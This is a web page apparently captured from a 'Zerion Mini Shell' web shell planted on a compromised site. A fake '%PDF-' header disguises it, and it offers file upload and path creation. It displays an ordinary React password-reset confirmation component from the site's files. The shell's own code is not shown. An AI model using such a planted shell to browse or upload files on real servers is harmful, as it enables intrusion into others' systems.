%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.4cc3a2e1590a4463a5f392ddcc26929e/static/js/components/ForgotPassword/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.4cc3a2e1590a4463a5f392ddcc26929e/static/js/components/ForgotPassword/ResetPasswordMessage.js

import React from "react";
import PropTypes from "prop-types";
import { withTranslation } from "react-i18next";
import { reduxForm } from "redux-form";
import { useNavigate } from "react-router-dom";
import {
  Box,
  Button,
  Title,
} from "common/components";

import errorIcon from "assets/images/check-circle-green.svg";

function CodeForm({ t, handleSubmit, resetRestorePswSession }) {
  const navigate = useNavigate();

  const submitForm = () => {
    handleSubmit(() => resetRestorePswSession());
    navigate("/");
  };

  return (
    <form
      name="resetPasswordMessageForm"
      onSubmit={submitForm}
    >
      <Box extraSpaceAfter>
        <img
          src={errorIcon}
          className="text-center"
          alt="thumbs-up"
        />
      </Box>
      <Box extraSpaceAfter>
        <Title>{t("forgot-password-success-text")}</Title>
      </Box>
      <Box>
        <Button
          type="submit"
          primary
          fullWidth
        >
          {t("auth.login.backToLogin")}
        </Button>
      </Box>
    </form>
  );
}

CodeForm.propTypes = {
  handleSubmit: PropTypes.func.isRequired,
  resetRestorePswSession: PropTypes.func.isRequired,
  t: PropTypes.func.isRequired,
};

export default withTranslation()(
  reduxForm({ form: "resetPasswordMessageForm" })(CodeForm),
);

Zerion Mini Shell 1.0